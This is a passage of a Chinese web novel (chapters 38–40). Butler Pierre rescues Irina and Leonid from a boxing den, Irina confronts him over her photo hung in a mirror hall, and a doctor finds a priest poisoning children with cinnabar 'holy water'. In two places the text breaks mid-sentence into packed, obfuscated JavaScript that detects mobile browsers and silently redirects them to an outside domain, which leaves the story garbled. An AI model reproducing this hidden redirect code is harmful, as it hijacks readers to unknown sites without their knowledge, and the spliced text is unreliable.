震耳欲聋的声音从入口处炸响,拳场一直紧闭的大门被人猛地踹开。没等任何人反应,一群身穿黑色制服的士兵冲了进来,瞬间控制住了拳场的卫兵。 紧接着更多的黑色制服士兵从破开的大门和侧面的通道涌入,迅速形成合围。枪托毫不留情地砸向那些已经被缴械的卫兵,老板一脸错愕,赔着笑容走了过去。 但士兵中走出一个身穿黑白制服的中年人,他没给老板张口的机会,身边的士兵一脚将老板踹倒在地上。 那名中年人走到里奥尼德和伊琳娜身边,鞠躬说道: “大小姐,少爷,我们来迟了。” 38.镜廊中的照片 “皮埃尔管家?您怎么在这里?” 带着士兵冲进拳场的,是伊琳娜家那位来自佛朗西,从小看着他们长大的管家。他微微低头,谦逊的站在里奥尼德面前,但眼睛时不时恶狠狠的瞥向地上呻吟的拳场老板。 皮埃尔管家向伊琳娜解释道:“老爷派我打理远东的矿产事宜,所以最近都在这边。” 伊琳娜点点头,事已至此,她也猜测出拳场老板和公司恐怕多有勾结,否则老板怎么这么怕公司?但也懒得管了。 “大小姐,少爷,你们打算如何处置拳场的人?剁只手还是卸条腿?”管家像是想替他们出气,公司的士兵又照着老板身上狠狠踢了一脚。 但管家轻描淡写的话吓坏了场上的人们,那些被缴械的卫兵缩在一起,老板也挣扎着想要起身。萨哈良实在没想到这看似谦逊的中年男人下手这么狠。不过鹿神也同样杀伐果断,他用指尖轻轻挑动指尖,那拳场老板就不得不扬起头颅看着他们,眼中还带着恐惧。 看着身边那些惊恐不已的赌徒,不管怎么样,伊琳娜至少要为里奥尼德和萨哈良出口恶气。她思考了一会儿,刚刚因为紧张而过速的心脏慢慢平静下来。 “这样,我要拿走属于我的三百一十五枚银币。”伊琳娜看向远处会计身边的钱箱,那拳场老板连忙连滚带爬的跑了过去,把整个箱子都搬了过来。 会计们还在认真帮她数着银币,可把老板急坏了,他一把又一把的往袋子里装,恨不得把钱箱都送给他们。 伊琳娜环顾四周,那些赌徒都低着头,没人再敢看她了。 “我不会让老板把钱退给你们,愿赌服输,被骗是你们自找的。”伊琳娜说着,从袋子里数出十枚银币,递给刚才那名始终在她身边喝酒下注的年轻人。 “这是你今晚因为我输的钱和请我喝酒的钱,还给你。”那名年轻人的礼貌多少赢回了一些伊琳娜的尊重,当然,只有一点点,她最讨厌赌鬼。 不过管家很了解这位矿产大亨家的小姐,他接着问道:“大小姐,您还有什么安排?” 伊琳娜又看了看里奥尼德和萨哈良,对他们说:“你们觉得呢,这老板怎么处理,弄死?” 她学着老板的语气,模仿刚刚他说的话,并且把手枪递回给里奥尼德。这话把萨哈良吓了一跳,他可没杀过人,只好拼命的摇头。 但里奥尼德倒是无所谓,毕竟长这么大还是第一次有人这样威胁他,已经在拿着手帕擦起枪管了。他轻轻按出弹夹,检查无误后,在清脆的咔哒声中装了回去。 老板听见他们的谈话,吓得想要为自己辩驳:“小姐......我......”但他刚想说话,就被士兵按到地上,用膝盖狠狠卡着他的脖子。 伊琳娜看向管家,说道:“这样吧,刚才这老板要弄死我们。算上管家,正好我们有四个人,八只手。” “九出十三归嘛,”伊琳娜边说,边在心中算着数量,“本来应该是十个,但我觉得太少了。算四十个,抽自己四十个嘴巴,多出来的我给你四舍五入了。” “就这样吧,让他自己抽,我要走了。”伊琳娜看着里奥尼德和萨哈良,他们身上因为先前恶战留下的红色痕迹逗笑了她,因为明显里奥身上要更多一些。 鹿神将金线收回,他对伊琳娜的处理非常满意:“伊琳对这老板的处置,就像当着狼群的面,让头狼跪在身下不停拔毛,恐怕他之后会死的很惨了。” 随着他们的离开,场上那些赌徒也陆续散去。不管怎么说,愿赌服输,更何况的确是因为自己的贪婪导致最终的结果,再加上今晚的闹剧,接下来很长一段时间都不会有人再来光顾拳场了吧。 在人们的身后,老板被士兵逼着不停的扇自己嘴巴,还被迫自己计数。萨哈良转头看过去,他悔恨地低着头,每次想轻点下手,枪托就会狠狠的砸到身上。很快,他原本就满脸横肉,现在更是肿得像腌过的猪头。 “伊琳,你最后为什么突然改变计划了?”里奥尼德想起了最后她在赌徒面前的公开嘲笑。 伊琳娜停住脚步,看着他们的眼睛:“因为我相信你们,相信你们会支持我。我当时想,如果我也把本金投进去的话,亲自入场下注,可能会让已经上钩的鱼儿跑掉,我们需要最终让它变成板上钉钉的事实。” 里奥点点头,她最后的选择可以说是神来之笔。 拳场的门前停了几辆豪华马车,管家带来的士兵正在陆续撤离。借着车前的防风灯,能看到他们与帝国军队的列装军服不同,除了胸前的公司标志,没有任何能表明身份和军衔的肩章,无疑是公司豢养的私兵。 就在他们将要登上马车时,从士兵中跑来了一个人。 “大小姐,我是——”来的这个人正是上午在饭馆请工人喝酒的,那位矿场领班。 还没等那人说完,管家就打断了他的话:“大小姐,这位是矿场的经理,也是领班,今天是他来公司通知我的。” “原本我在饭馆遇到您时,还没敢确认。我先前在公司看过您的照片,总觉得相像,才上报消息的。”那名经理说话的样子有些着急,像是急于表达:“大小姐,您现在出落得亭亭玉立了......” 管家咳嗽了一声,阻止他口无遮拦地继续说下去。 伊琳娜沉默不语,那领班的话让她心里觉得极度不适。自从小时候见过矿场的事故,她就与父亲愈发疏远,最后一张照片已是十四岁时拍摄的。 “行了,走吧。”里奥尼德看出了伊琳娜的想法,朝那人摆摆手。 不知道为什么,这位管家和他们三人坐上了同一辆马车,像是家中缺乏边界感的亲戚。 “伊琳娜姐姐,刚才是我们演的太假了吗?为什么最后会被看破?”萨哈良有些奇怪,明明全程天衣无缝。 “让管家回答吧,他看起来知道的更多。”伊琳娜话里有话,示意让管家先回答萨哈良的问题。 “少年,是这样的。拳场从未有人能赢这么多钱走,无论如何计划,老板都会亲自下场。” 他摊开手,无奈的接着说道:“简单来说,就是输不起。” 伊琳娜没说话,她看着萨哈良,又和里奥尼德对视了一会。 “萨哈良,我觉得这个管家有点奇怪,他似乎对刚才拳场中的事情知道太多了。”鹿神对他保持着警惕,萨哈良也只是对管家点点头。 管家清了清嗓子,他恢复了一贯的谦逊声音,询问伊琳娜和里奥:“大小姐,少爷,刚刚忘记问了,这位少年是你们的客人吗?我要不要通知仆人准备好客房,和一桌丰盛的晚宴?” 在他们还没回应时,管家低垂着双眼,又接着说道:“不过今晚可能不行,太晚了,等明天的时候再妥善招待。” 伊琳娜再次看向里奥尼德,他们在视线交叠之间明白了对方的意思。 “派马车将这位少年送到镇口的医生家吧,他是我们的故识。”里奥尼德向萨哈良点点头,先前在拳场中的配合已经让他们之间产生了默契。 萨哈良没有说什么,他听从朋友们的安排,只是鹿神皱起了眉头。 “车夫!停一下!”管家打开车窗,对车夫喊道,随后,他又对萨哈良说:“您乘坐后面那辆车就可以,明天的时候我会准备妥当。” “等等,一会去派仆人给医生家送张床和被褥。”伊琳娜想起昨天睡在地上的时候,她担心萨哈良会受凉感冒。 管家立刻将要求交代给下人们,他们马上就去照办了。 就在萨哈良下车的时候,里奥尼德伸出手来,握住了萨哈良的手臂。少年原本还觉得有些不安和犹豫,但温热而柔软的触觉从他的手心处传来,让此时略微奇怪的气氛变得令人安心。 “萨哈良,今晚我很开心可以和你并肩作战,明天我们来找你。”听见里奥的话,萨哈良点了点头,伊琳娜的脸上也露出疲惫的笑容。 少年向他们招招手,乘上了另外一辆车。 即便是没有宵禁的小镇,明明时间还没到凌晨,街上依旧是空无一人,房门紧闭。市场旁的教堂里,灯光彻夜长明,但傍晚一派喧嚣热闹的景象已经荡然无存,只是剩下摊贩留下的一地垃圾,和空气中隐约残留着的烧烤气味。小镇中又不像大城市有着明亮的路灯,黑暗将眼前的道路吞噬,全靠车灯驱散夜雾。 由于刚才马车的方向与镇口相反,所以前往医生家时走了好一会。当转过街角,马上快要到的时候,透过车窗,萨哈良看见医生正锁上房门,提着诊箱,举着煤油灯走了出来。 “医生!你怎么在外面?”车夫帮萨哈良打开车门,他从上面跳了下来。 看见叶甫根尼,萨哈良总是觉得亲切。但医生把手指放到嘴边,示意少年小声说话,萨哈良才发现自己声音太大了,在寂静的街道显得尤为明显,甚至都传到山谷前了。 叶甫根尼快步走了过来,微微抬头快速打量印着公司标志的豪华马车,对萨哈良说道:“你们今天不是去买马车了吗?买了这个?” 从医生的表情也能看出,他大概觉得,不愧是贵族,果然有钱。 “没有买到,这个说来话长了。您这是要去哪儿?我今晚可能要打扰您一宿了。”萨哈良露出不好意思的笑容,不过医生也没继续问。 “我现在要出急诊,不知道几点回来,要不我把钥匙给你先回去睡觉?”叶甫根尼说着就要掏钥匙。 “可以的话,我能和您一起出诊吗?我也想看看你们是怎么治病的。”萨哈良想起先前在木排时看到的外科书籍,他很感兴趣。 叶甫根尼犹豫了一会,虽然他不信什么妖魔鬼怪,但深夜走在漆黑的路上还是有些害怕的。更何况他也喜欢这个少年,很想教他些真东西。 “那走吧。” 就在他们前往病患家中的时候,伊琳娜和里奥尼德也快到公司的庄园了。 “大小姐,少爷,你们来镇上怎么没通知公司?”管家小声询问着他们。 也许是伊琳娜有些累了,正靠在座椅上休息,里奥尼德替她先说了:“我们是想旅行一段时间,看看远东的风景。” 管家点点头,说:“旅行是好事,但你们应该也能看出来,出城之后可以说进入了化外之地,还是很危险的。” 马车碾过春日融雪带来的泥泞,来到小镇旁的半山腰。这座豪华的庄园位于公司领地,他可以俯瞰整个小镇的风光,只不过当下漆黑一片,只能借着月光得见白日的繁华。 庄园的大门在马车接近时,徐徐打开,门上的镀金卷草纹装饰在车灯的光线下反射着微弱的光泽。大门守卫全副武装,他们的制服笔挺,精神面貌比司令部的宪兵还要好。卫兵举起右手,向着马车敬礼,随后关上了院门。 “皮埃尔,这武装规格已经堪比军区司令部了,刚才去拳场的那些也是公司的私兵吧?这几乎是僭越。”里奥尼德四下打量了一会,然后对管家说。 管家笑了笑,他能理解里奥的反应:“少爷,您言重了,远东历来兵马不断,无非是为求自保。” 当车轮滚上由碎沙石铺就的车道时,噪音顿时变得刺耳起来,碾碎了夜的寂静。在车道两旁,有被精心照料的花圃里,积雪已然化尽,一些耐寒的植物探出些许绿意。但这点点生机,立刻被后面修剪得一丝不苟的灌木与杉树所淹没。 里奥尼德敏锐的发现了停在马厩旁的马车,那些车来自于远东军区,但上面的纹章并不属于黑水城。 主宅矗立在车道尽头,是一座砖石与厚重木材的精美建筑。里奥尼德没有去过凡尔赛宫,但眼前无疑是它的缩小版本。他看向伊琳娜,才发现她也同样睁大了眼睛。 “大小姐,少爷,打开这扇门之后就是这座庄园的精妙之处了。”进入正门,管家带着他们走上二楼,到一扇雕刻着反复卷草与贝壳花纹的大门前,上面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“伊琳,你看这个。”里奥指着墙上那片大小不一的镜子,在跃动的光斑中心,是一张巴掌大的照片。 难怪那名经理都能认出伊琳娜,可能他们已经不知道看了多少次。 顺着里奥手指的方向,伊琳娜看着那张拍摄自少女时期的照片。照片中的人眼神清澈,却已经透出难以察觉的忧郁,但彼时看似灿烂的笑容中至少还存有对未来的期待。 此刻伊琳娜感觉自己就像被剪下插在一旁瓷瓶里的鲜花,被摆放着供人观赏。她只觉得从胃里传来一阵又一阵的恶心,像是身体在努力排出浸染灵魂的毒素。 镜子投射出三人在凝视着上面的照片,更多的镜子折射出更多的人,每个人都在看着伊琳娜。 “皮埃尔,有些事情我觉得必须要问清楚。” 叶甫根尼的那盏煤油灯还不如松明稳定,有时渐渐昏暗。医生赶紧停下来拍拍,试图让它重新明亮。再到后来,干脆是萨哈良搀扶着他,毕竟鹿神身上散发的辉光,能让少年看清周围的事物。 病患家靠近矿区,在山脚下。眼前是一栋歪歪扭扭的破木屋,远处高大的矿井铁架让它的剪影看起来像是某种身形怪异的动物。 那个他们走上前时,才发现房门洞开,里屋有一丝若有若无的光亮。萨哈良感觉气氛诡异,已经握住了腰间的匕首。 “太太?您在家吗?是您找我看病吗?”叶甫根尼低声向里屋喊着,他们小心翼翼的走了进去。 “小心!” 借着鹿神的光亮,萨哈良先看见趴在地上的人,叶甫根尼差点被他绊倒。 “这是......” 医生弯腰下去,试了试他的鼻息。身旁还散落着碎掉的酒瓶,他时不时响起的鼾声似乎在告诉医生,这人只是醉酒倒下了。 “医......医生,是我的女儿高烧不退......”里屋趔趄着走出一位年轻的母亲,她嘴角还有血迹。 那人把叶甫根尼吓了一跳,他站起身,指着地上的醉汉问道:“那这人怎么回事?” 听到医生问的这个人,那母亲明显身体颤抖了一下,哆哆嗦嗦的说:“这......这是我丈夫。” 叶甫根尼想想也知道是怎么回事,他严肃的说:“太太,他是不是打您了?您可以找警察,我能为您作证。” 见过远东的诸多乱象之后,萨哈良对警察能起多少作用表示怀疑。 “不......不必了,怪我生的孩子体弱多病,夜里总是哭,哭的声音很大。”女人还没说完,突然惊惧的指着窗外被晚风吹动的树枝,“鹿......鹿角妖!” 医生无奈的看向萨哈良,不知道是谁给他们渲染出的恐惧。 叶甫根尼掀起屋帘,径直走向里屋,萨哈良也跟在后面。病患家一贫如洗,黄泥涂制的墙壁上还能看出里面掺杂的杂草秸秆。 小女孩正躺在床上,大约七八岁,正是淘气的年纪。床边的土墙上被她扣出大大小小的洞,旁边还画着些花花草草。 就着煤油灯的光,那女孩的脸烧得通红。 “吃药了吗?”医生为她简单检查之后,询问母亲。 女人被这惨淡的生活折磨得心力交瘁,她有些茫然的看着医生:“吃了......这会已经不哭了。” 在当地流传的恐怖故事影响下,人们关注的重点不是病痛,而是被病痛导致的哭闹。 在准备离开时,叶甫根尼仔细的和她解释根本不存在什么鹿角妖,但母亲一句也没听进去。医生叹了口气,毕竟贫困和暴力如影随形,生活上的不如意很容易让人们归结于一些无法证明的原因。 “那你记得,再发烧时用凉水擦,先降温,用柳树皮煮水喝也可以。”远东的小镇不像首都,能买到刚刚上市的阿司匹林,而叶甫根尼没有使用本地草药方子的经验,不敢在儿童身上贸然使用。 走出里屋时,萨哈良想起那名母亲的话,偷偷的小声问道:“医生,田人的孩子更娇惯吗?为什么七八岁了还会哭成那样?” 叶甫根尼愣在原地,他暂时无法解释萨哈良的疑问,但那隐隐约约指向了另外一个问题的答案 鹿神没有跟着他们出来,而是在桌上发现了一个木碗,他示意萨哈良过来。那里面还残留着些液体,碗底沉淀着些红褐色的粉末。 “医生!你快过来看这个!” 39.千千万万面镜子 “皮埃尔,有些事情我觉得有必要问清楚。” 在公司庄园华丽的镜廊中,伊琳娜不自觉地在原地踱步。她的身影瞬间在无数面镜子前复制或破碎,她看见无数个自己在无数个长廊里移动。 某个瞬间,她甚至分不清哪个才是真实的自己。 伊琳娜紧盯着沉默的管家,向他提出质疑:“这里,还有这里的业务,到底经营了多久?为什么我作为家族的一员,却一无所知?” 里奥尼德站在她身边,冰冷的目光审视着管家。 “大小姐......我只是......”管家的额头冒出了细密的冷汗,不知道为什么并不沉重的问题会给他造成如此大的心理压力。 “还有那张照片,”伊琳娜的声音冷静而确凿,像是巨大泡影被戳破后的失望,“它在那里挂了多久?还有谁看过?它存在的意义是什么?是为了向每一个来这里的人展示,家族有一位待价而沽的女儿吗?” 管家沉默不语,他想要回避时,里奥尼德提醒着他:“管家,回答小姐的问题。” 就在他们持续对峙时,镜廊的大门突然打开了半扇。 “经理,客人想请您去一趟。”仆人端着茶水走了进来,低头向皮埃尔管家说道。 皮埃尔管家似乎想说些什么,他的嘴唇微微颤动着,但还是向着仆人走去。即将走出镜廊时,他转头对他们说道:“大小姐,少爷,你们先在这里休息一会儿。” 说罢,镜廊的大门再次关闭了。 里奥尼德看着眉头紧皱的伊琳娜,尽管他不能完全理解那种痛苦,但他能清晰地感受到她周身笼罩着的失望和愤怒。 他抬头看向墙上的照片,那是伊琳娜被送去贵族女校之前拍的。那时她穿着水蓝色的帝国款式长裙,大概是刚刚得知即将入学的消息,所以脸上还带着些微笑。但里奥尼德知道,那是她最后悔的,被虚度的时光。 里奥尼德想为伊琳娜做些什么,但不知道说什么好。他从旁边搬来镶着金边的豪华座椅,也抛弃了贵族礼仪对优雅的要求,穿着马靴就踩了上去。 墙上的相框没有被钉在墙上,只是有些虚浮的挂着,里奥用力一拉就将它扯了下来。在准备跳下去时,椅子突然滑动了。为了保持平衡,他张开双手扶着墙,但这个动作也碰到了别的镜子,索性用力将它们都碰掉到地面上。 伊琳娜就这样看着镜子碎得到处都是,上面映照着烛台的火光,像是将石子扔进静谧的潭水,霎时间掀起涟漪。可地上的碎镜子又不像水面,它只会永远破裂,永远都不能恢复平静。 里奥尼德将照片从相框中取出,递给了伊琳娜,说道: “我们试试看,试试能不能结束它。” 伊琳娜毫不犹豫地走向落地窗边的烛台,将照片扔进火焰之中,沉默地看着它卷曲、变黑、化为灰烬。 但她没有一直盯着燃烧的相纸,余光瞥到了楼下出现的陌生人。伊琳娜向里奥尼德招手,示意他过来。 “里奥,你看。” 里奥尼德边用靴子踢开地上的碎玻璃,边走到窗前。当看清楚楼下的黑影是什么之后,管家也出现在那里,他正要抬起头望向二楼的窗户。里奥一把将伊琳娜拉到窗帘旁边,躲开视线。随后他快速伸出手,将窗户打开了一道缝,两人凑到一旁竖起了耳朵偷听。 “神父,典礼下个月就该开始了,你这个宵禁把戏赶紧结束,陛下不想看到恐惧的民众搞出什么迷信的把戏欢迎他。” 刚才马厩旁的马车已经停到了楼下,神父、管家和某位高级将领正站在那里。那名军官只是摘去了肩章,里奥尼德认不出是谁,只能隐约看见鼻子下面长着山羊胡。 这是他们第一次看到神父在军方面前唯唯诺诺,三人的谈话声毫不避人,肆无忌惮的传到了楼上。 神父的声音油腻又带着一丝自得,他对那名军官说道:“请您放心,宵禁目前还是有效果的,反抗分子的势力得到了有效的遏制......他们没有再和民众接触。” 将领好像有点生气了,他严厉的说道:“你是听不懂我说话吗?我让你停止!” “是是是......对不起,大人,我的意思是已经找到了鹿角妖灾厄的源头......小镇里有个卖蜂蜜水的老女人,她长得活像教堂上的石像鬼,如果我们把她......那马上就可以结束。”那神父用谄媚的语气回答。 军官对这个说话讳莫如深的人很不满意,皱起眉头,但也懒得再骂他。 皮埃尔管家这时候开口了,但他的声音要小很多,像是有人在看着他一样:“这些事都和我无关,我只要求矿区稳定生产,陛下若能看到满载矿石和物产的列车准时发出,将对远东的稳定与繁荣留下最好的印象。” “行了,赶紧把事办好!”军官最后瞪了一眼神父,登上马车离开了。 他们两人面面相觑,里奥尼德伸出手想关上窗户,但是窗纱不小心绞了进去,怎么也合不上,只好作罢。 军队,神父,公司,三方勾结在了一起,远东的秩序比他们想象的更糟糕。 “那人说的话什么意思,陛下?皇帝要来远东?”伊琳娜注意到了将领口中的陛下二字,要是皇帝真来,那宫中的大官小官各路贵族会来,他们双方的父亲也会来,再想去新大陆就遥遥无期了。 里奥尼德摇摇头,说:“我想想......没听说过司令部流传这个消息,也许之前还是保密状态。” 他们走回镜廊的茶桌旁,伊琳娜看着一地的碎镜子,又看了看里奥尼德,正思考该怎么解释。这时候,门被打开了。 此时,萨哈良和叶甫根尼仍在病患家中,他们看着桌上的那个木碗。年轻的母亲不理解他们在看什么,只是在一旁听从医生的建议,用湿毛巾为孩子擦拭身体。 “您看这个干什么......我们这边孩子哭闹就会喂这个,很有效。”母亲奇怪的询问着医生。 叶甫根尼凑上去闻了闻,又尝了尝水的味道,他脸色大变:“这个水是哪儿来的?” “这个是神父赐福过的圣水......”那母亲疑惑不解,她不理解医生为什么这么急。 萨哈良也看了看碗底沉淀的红褐色粉末,他对医生说:“部族能从游商手里买到一种红色粉末,有时候是石头。一般是作为仪祭时抹在脸上的颜料,高烧不退时也会沏水喝一些,能起到镇静安神的作用。” 鹿神紧盯着女孩红热的脸庞,小小的手脚偶尔又会无意识的震颤。他从洁白的衣袖中伸出手,想试图抹平她噩梦中嘈杂的褶皱,但无能为力,只好说道:“这孩子呼出的气滚烫而污浊,像是从大地深处喷涌而出的岩浆,恐怕......” “你说的就是这个东西。”听见萨哈良的话,医生掰开小女孩的嘴唇,牙龈处已经出现深色的暗线,虽然没有卖蜂蜜水的老人那么严重。 叶甫根尼看着萨哈良,接着说道:“我原本以为那卖蜜水的老太太,只是因为小时候生重病才影响智力。” “您这么说,是因为刚才我提到这小孩七八岁了还会哭闹吗?”萨哈良盯着墙上被小孩掏出来的空洞。 医生点点头,说:“是的,这小女孩的智力恐怕也停留在了三四岁的时候了,就像那老妇人一样。” 叶甫根尼伸出手指,轻轻捻起碗底的粉末。他把煤油灯放在眼前,仔细查看着,又沾了一点在舌尖。 “我在古代医书中看到过他们用这种物质治疗高烧,恐怕这也是南方帝国遗民留下的方法。但至少那是经过炮制,虽然技术落后也在试图去除杂质了。可这碗里的几乎就是用矿石直接磨成的粉!” 医生突然大声说道,把那名年轻的母亲吓了一跳,随后他走上前去,对她逼问:“这不是什么圣水!这是朱砂调的水!这东西有毒!会要了孩子的命!到底是谁告诉你们给孩子喝这个的?” 这毕竟是首都来的医生,母亲无条件相信他。听见他在斥责自己为孩子做出的努力,女人崩溃了,哭着说:“是......是神父给的......说孩子夜里哭闹就是中了邪,喝这个能驱邪......我们也没办法啊......” 萨哈良知道这也不是他们的错,此时医生说话的语气带着怒火,少年只好揪了揪他的衣角,想让他冷静下来。 看着哭泣的母亲,叶甫根尼的表情也从愤怒转向懊悔和无奈。 这时,门口那名醉汉丈夫也被吵醒了,他试图爬起来。 “酒......我要下注给这个......这个什么狮王。” 医生懒得搭理他,对萨哈良说:“去,狠狠地给他一脚,让他接着睡,我现在不想再多跟一个人废话。” “啊?我吗?”萨哈良惊讶着看向医生。 “行了,我帮你,别再给他踹死了”鹿神抬起手,在那人头上轻轻一划,他像是看见梦魇一样露出惊恐的神情,随后又醉倒在了地上。 萨哈良试图安抚医生的愤怒,他问道:“朱砂?是......那种红色的石头?” 叶甫根尼义愤填膺的为少年解释: “对,就是矿里挖出来的东西。它不仅能做颜料,还能提炼剧毒的水银,拿来做镜子!” 他指向门口的醉汉,接着说:“我这么大声说话,连醉汉都能醒,这小女孩却醒不了。这哪儿是安神,这是中毒昏迷了!最后就会变成你见过的那个,卖蜂蜜水的老妇人的样子!根本没有什么鹿角妖!是毒!是人在下毒!” 医生以一种近乎于喋喋不休的态度不停的向母亲要求,让他们不要再相信神父的鬼话。小镇的药品稀少,他也只能让母亲去从原住民那边买些绿豆煮水给孩子喝。尽管那只是从南方帝国的医学古籍中看来的,但总比无药可治强。 当叶甫根尼带着萨哈良离开病患家时,他看向矿山上散落的民居,无可奈何的说道: “萨哈良,可能我微不足道的努力,恐怕只是飞蛾扑火。” 少年佩服医生想做些什么的执着,但此时他们也只是看着月色下的群山。 “您先前在木排上帮助了难民,还对我讲起过那个......梅什么筏的故事,我觉得这一切是有意义的。”萨哈良笨拙的安慰着医生,毕竟他们的努力让大家成功回到家,尽管在那之前都被送去河滩挖沙子了。 叶甫根尼点点头,说:“是的,就像当时说的:‘荣耀归于人类’。” “如今南方帝国的遗民都在帝国扩张的步伐中消失了,他们留下的治疗方法却被神父歪曲,这何尝不是对殖民者的诅咒?”鹿神看着远山上矿井的铁架,看着罗刹人为这片土地留下的创伤。 医生伸出手指,帮萨哈良拨开先前因为汗湿沾在额头的碎发,看着少年晶莹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16298055|179612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的双目,继续说道: “还是说回南方帝国,他们的古籍中描述过:‘真正优秀的医生,能治疗未曾发生的病痛。’” 医生锐利的双眼在黑暗中像是点起了火焰,他的语气中有些兴奋的颤抖,但马上冷静下来对萨哈良说: “我需要你们帮我。” 骤起的晚风带着寒意,吹过矿区,也吹过深夜的庄园,在刚才里奥尼德没关严的窗户边发出尖锐的哨声。管家轻轻打开门,看到地上破碎的镜子,他怔住了片刻,但里奥马上说话打断了他的停顿: “没事的,皮埃尔,我和伊琳娜吵起来了。如果有人过问,就说是我弄坏的。” 伊琳娜不想听这些无所谓的谈话,她不在乎什么镜子,虽然她不是家族中娇纵的小姐,但出身带来的底气依旧可以让她质问管家。 “我问你,我在家族事务中到底是什么位置?”烛火映照在她的瞳孔中,如同心底燃起的熊熊怒火。 皮埃尔管家的脸上浮现出一丝悲哀的神色,他看向烛台中已经卷曲成焦炭的相纸,有些心疼的说道:“大小姐,您烧掉的只是一张纸。它挡不住任何事,也改变不了任何事。就像您打碎这些镜子,世界上还有千千万万面镜子” “算了,无所谓了。皮埃尔,你还没有回答我的问题。在这个粉饰太平的化外之地,你们到底要干什么?挂我的照片干什么?你们要对那名卖蜂蜜水的老妇人做什么?” 伊琳娜持续不断的追问伴随着慢慢向前的脚步,管家深吸了口气,像是下定决心:“您还是听到了......老爷认为......”他看着大小姐被火光映红的面容,对主人的忠诚正撕扯着他的良心,“老爷认为美丽的形象能证明他......慈悲的手段,宣传他优秀的女儿能让他看起来......像是个传统顾家的人,这样更符合愚钝民众的价值观......” “慈悲?顾家?你信吗?正常父亲会带着小孩去看采矿?而且因为炸药提前引爆,矿工的肢体到处都是,像水袋那样炸开!连眼球都被炸飞了!”童年的阴影让伊琳娜越说越急,抑制不住颤抖的声音,只好先坐在椅子上。 皮埃尔管家低下了头,他小声说道:“大小姐,不管怎么说,那是你的父亲。我想他应该是爱您的,他害怕您卷入太深或者遇到危险,吩咐我要时刻留意您的动向。” 蜡烛中的棉芯碰到了化为炭灰的相纸,火焰被堵着失去向下燃烧的蜡油,随着一缕青烟悄悄熄灭了,镜廊中的光亮也随之减弱一分。 “现在承认监视我了?你知道我们为了那三百银币付出了多少吗?原来,其实一直有人在保护我们?够了,我说了我无所谓,现在解释解释你们到底想对那名老妇人做什么吧。” 管家听见了伊琳娜的话,他露出有些悲伤的微笑,沉默了一阵,说:“大小姐,少爷,时间也晚了,我先送你们去休息吧。” 皮埃尔管家的态度让里奥尼德心里升起一阵无名火,他冷笑着说道:“我猜,你们是想处死老妇人,将她作为“鹿角妖”可笑传说中被附体的人?就像宗教裁判所那样。” 但管家只是径直走向镜廊的尽头,推开了门,靠在门边沉默不语。 里奥还想再说些什么,先前在拳场老板那受到的羞辱让他怒气更盛,但伊琳娜拦下了他。 “我还记得,在我们小的时候,父亲将您从普鲁士铁蹄下带回帝国。” 久远回忆让管家的嘴角微微抽动,他轻微点了点头。 “您经常给我们用糖纸叠青蛙,我还记得糖是里奥的祖父买的,真好啊,那时候无忧无虑。” 皮埃尔管家心里清楚老爷对他的女儿都做了什么,自从那次矿难之后,只有在里奥尼德家时,她才能露出天真的笑容。 听到伊琳娜的话,里奥尼德也说起了那时的事。 “我一直缠着管家帮我叠个狮子,但他说太难了,佛朗西人只会叠青蛙。” 伊琳娜笑着看向皮埃尔,她最后说道:“父亲总是忙于他的生意,经常是您驾着马车把不怎么情愿的里奥从家里带过来,再买一个大蛋糕,陪我过生日。” “就像真正的父亲那样,而不是给女儿看矿难的父亲。” 听到他们的话,他愣在原地,即将前去客房的脚步一顿,管家伸出颤抖的双手,转过头对他们说:“客房在这边。” 看来,今晚是问不出来什么了,伊琳娜和里奥尼德失望地轻轻叹了口气。 随着管家前往客房的路并不远,他们透过走廊的玻璃窗,看着远山上那些矿井的铁架,那是一种诡异的风景。 里奥尼德的房间离得更近,他像是有些生气,关上房门什么也没说。 皮埃尔管家将伊琳娜带到走廊尽头的主人房间,轻轻帮她推开门,看着她走进房门。 伊琳娜向衣帽间慢慢走去,但房门并没有被关上,她诧异的回过头,发现管家还站在外面,像是想说些什么。 皮埃尔管家轻轻揪了揪领结,挺直腰板,就像他们儿时那样,也像他年轻时那样,恭敬又慈爱的对伊琳娜说: “伊琳娜小姐,下个月......皇帝陛下会亲临远东,为远东铁路的全线贯通剪彩。届时,您的父亲,还有里奥尼德少爷的父亲,都会作为贵宾陪同。” “如果您心中已有决断,或许是最后也是最合适的机会。” 40.献祭无辜的人 清晨,萨哈良躺在昨夜公司仆从们搬来的豪华床铺上醒来,盯着石膏天花板上的破洞和结出的蛛网。 伊琳娜要求他们找到一张能搬进诊所歪斜小门的单人床也实属困难,萨哈良和医生出诊归来时,那些人正在门口恭恭敬敬的等候着。 当其余三人不在,萨哈良才闻见诊所里弥漫着的消毒液和霉旧木头味道。可他眼前的胡桃木床柱上,又缠绕着镀金卷草纹饰,虽然做工不如里奥尼德在黑水城的庄园,但它仍在清晨的光线下泛起华贵的光。 一大早,叶甫根尼就背起诊箱出门了。他可能是担心吵醒少年,出去的时候努力按住门板,不让它发出吱呀的声响。 但萨哈良睡的很轻,他透过光线,看见了医生缓缓合上房门时掀起的灰尘。 “我原本以为他们所谓的“帝国”只是对山人和田人心狠手辣,结果没想到对城里的罗刹人也是一样,对他们所谓的自己人也是一样。” 鹿神回忆着最近的见闻,对少年说道。 “我看他们也很可怜,但......”萨哈良想起先前在小镇广场上,被神父公审的场景。还有被摧毁的狗獾营地,一切都历历在目。 随着时间的流逝,少年清澈的眼神也会被当下这些繁杂的事物蒙上雾气。鹿神不知道这是好是坏,即便神明也只能在命运事先编织出的金色经纬线上,身不由己。 “那你要帮他们吗?”鹿神对少年反问道。 萨哈良不知道该如何回答,他只能说:“我相信我的朋友。” 墙角剥落的灰泥下露出暗黄的干草,先前那位受重伤的女人已经不在里屋了,房门正敞开着,时不时传来一阵血液的铁腥味。而就在这间拥挤的诊室中央,却立着一张有帝国特色的洛可可式单人床。 